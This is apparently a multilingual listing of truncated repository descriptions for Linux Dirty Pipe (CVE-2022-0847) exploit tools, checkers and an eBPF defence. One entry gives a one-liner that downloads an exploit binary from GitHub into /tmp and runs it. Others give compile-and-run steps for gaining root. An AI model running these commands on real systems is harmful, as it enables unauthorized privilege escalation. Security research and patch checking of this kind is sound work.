CVE-2022-0847_DirtyPipeExploit

¿Qué es esto? Esta es la prueba de concepto de Max Kellermann para Dirty Pipe, pero modificada para sobrescribir el campo de contraseña de root en /etc/passwd y restaurarlo después de obtener un shell de root. Nota al margen: No reclamo ningún crédito por haber encontrado esta vulnerabilidad o...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot CVE-2022-0847（又名 Dirty Pipe）的编译版本。只需一击即可获得 root 权限 :D 只需编译 cve-2022-0847.c 文件 gcc cve-2022-0847.c -o getroot 然后在目标机器上执行并获取 root 权限 :D ./getroot /etc/passwd 1 ootz: 祝你 Root 愉快 🎭...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker 用于检查 CVE-2022-0847 的 Bash 脚本 Dirty Pipe 摘要 这是关于 CVE-2022-0847 的故事，自 5.8 版本以来 Linux 内核中的一个漏洞，允许覆盖任意只读文件中的数据。这会导致权限提升，因为非特权进程可以向根进程注入代码。 它与 CVE-2016-5195 “Dirty Cow” 类似，但更容易利用。 该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。 如何使用 第一步 git clone...

dirtyPipe-automaticRoot

Dirty Pipe 自动根权限利用 CVE-2022-0847 依赖项： Python 3.10 或更高版本 如何使用： 自动根权限： $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 写入无写入权限、不可变或只读挂载的文件： $ python3.10 dirtyPipe.py -w FILE OFFSET DATA 来自 @terabitSec 🦜 的提供。...

dirtypipez-exploit

CVE-2022-0847 DirtyPipe 漏洞利用。 Credit: Max Kellermann [email protected] 一个名为 'Dirty Pipe' 的新 Linux 漏洞允许本地用户通过公开可用的漏洞利用程序获取 root 权限。 今天，安全研究员 Max Kellermann 负责任地披露了 'Dirty Pipe' 漏洞，并指出它影响 Linux 内核 5.8 及更高版本，甚至包括 Android 设备。 该漏洞被追踪为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。...

CVE-2022-0847-DirtyPipe-Container-Breakout

DirtyPipe 容器逃逸 PoC 这个仓库包含一个针对 dirtypipe 内核漏洞的 PoC，用于逃逸容器。 更多解释可以在 这篇博客文章 中找到。...

dpipe

dpipe Exploit de prueba de concepto para la vulnerabilidad Dirty Pipe CVE-2022-0847...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2022-0847-eBPF

CVE-2022-0847-eBPF Un programa eBPF para detectar y defender ataques en CVE-2022-0847. En el espacio del kernel, el programa detecta las llamadas al sistema splice ; si dicha llamada contiene un pipe como fd de salida y los flags del buffer del pipe están establecidos en PIPEBUFFLAGCANMERGE ,...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits 用于渗透测试人员和红队成员的一系列漏洞利用工具和文档，可辅助利用 Linux Dirty Pipe 漏洞。 关于漏洞 Dirty Pipe（CVE-2022-0847）是 Linux 内核中的一个本地提权漏洞，可能允许无权限用户执行以下操作： 修改/覆盖任意只读文件（如 /etc/passwd）。 获取提权后的 shell。 受影响版本 Linux 内核版本 5.8 及更新版本受影响。 到目前为止，该漏洞已在以下 Linux 内核版本中修复： 5.16.11 5.15.25 5.10.102...

DirtyPipePython

dirty.py Descripción Este es un exploit para la vulnerabilidad del kernel de Linux CVE-2022-0847 DirtyPipe descubierta por Max Kellerman. Este código combina dos POC existentes de DirtyPipe en uno: febinrev Sobrescribe el binario sudo para obtener directamente una shell de root eremus-dev Una cop...

DirtyPipe-Android

适用于 Android 的 DirtyPipe Dirty Pipe CVE-2022-0847 针对 Android 的临时 root PoC。 目标设备 目前仅适用于安全补丁级别在 2022-02-05 至 2022-04-05 之间的 Pixel 6。 请勿在其他设备或其他版本上使用。必然会导致崩溃（重启）。 Dirty Pipe 最终在 Pixel 6 的 2022 年 5 月安全更新中被修复。 @rapperskull 已移植至 Realme GT2 Pro（https://github.com/polygraphene/DirtyPipe-Android/issues/12）...

Dirty-Pipe

Dirty Pipe Exploit CVE-2022-0847 概述 该仓库包含针对 Dirty Pipe 漏洞 CVE-2022-0847 的 概念验证 PoC 利用程序，该漏洞影响 Linux 内核版本 5.8 至 5.16 。此漏洞通过利用内核中管道缓冲区处理不当，允许本地权限提升 ，使攻击者能够修改只读文件（例如 SUID 二进制文件）并以提升的权限执行任意代码。 描述 Dirty Pipe 漏洞是 Linux 内核版本 5.8 到 5.16 中发现的一个关键问题。它通过利用内核中管道缓冲区处理不当，允许本地权限提升。该漏洞可通过向只读文件（如 SUID...

Dirty-Pipe

CVE-2022-0847Dirty Pipe 利用 影响范围 =5.8, 5.16.11, 5.15.25 and 5.10.102 exp.c 利用该漏洞，覆盖只读文件 exp-root-shell.c 生成执行/bin/sh的shellcode来覆盖有suid且所有者为root的程序，以passwd为例，再运行被覆盖的程序就可以拿到shell，实现提权。 （虽然文件的第一个字节不可修改，但只要覆盖的文件与生成的shellcode同为ELF格式，第一个字节就一定是0x7f，不必担心此问题。）...

Dirty-Pipe-CVE-2022-0847-POCs

Dirty-Pipe-CVE-2022-0847-POCs 作者：Max Kellermann [email protected] 贡献者：Bl4sty https://twitter.com/bl4sty 一个名为"Dirty Pipe"的新 Linux 漏洞允许本地用户通过公开可用的漏洞利用程序获取 root 权限。 今天，安全研究员 Max Kellermann 负责任地披露了"Dirty Pipe"漏洞，并声称它影响了 Linux Kernel 5.8 及更高版本，甚至包括 Android 设备。 该漏洞被追踪为...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ 描述 此漏洞利用尝试使用 CVE-2022-0847 漏洞覆盖一个只读文件。 当运行 make exploit 时，它将： 1. 创建一个 readonlyfile.txt 2. 执行 dirtypipe 漏洞利用。 3. 检查 dirtypipe 漏洞利用是否成功。 你可以通过 make exploit 的输出来判断你的系统是否存在漏洞： foo@bar:$ make exploit vulnerable Creating readonlyfile.txt...

CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-DirtyPipe 漏洞简介 3 月 7 日，国外的安全研究员 Max Kellermann 发布博客，披露了一处存在于Linux 内核中的本地提权漏洞 CVE-2022-0847： https://dirtypipe.cm4all.com/ CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty...

dirtypipe

关于： 标题：DirtyPipe 描述：针对被称为 'Dirty PipeCVE-2022-0847' 的新 Linux 漏洞的利用，允许本地用户获取 root 权限。 作者：drapl0n 版本：1.0 类别：执行 目标：Linux 操作系统。 攻击模式：HID、存储 DirtyPipe：针对被称为 'Dirty PipeCVE-2022-0847' 的新 Linux 漏洞的利用，允许本地用户获取 root 权限。该漏洞编号为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。 负载组件目录结构： 文件名| 目录...

CVE-2022-0847

CVE-2022-0847 Referencia: Introducción a la vulnerabilidad Dirty Pipe PoC 1. Verificar el kernel uname -r 2. Compilar y ejecutar gcc poc.c...

cve_2022_0847_shellcode

cve20220847shellcode Descripción Este repositorio contiene un script de Python genshellcode.py, basado en pwntools, para generar un shellcode que implementa CVE-2022-0847. El shellcode está basado en este PoC: antx. Analicé el código del PoC y su ejecución con strace para capturar todas las...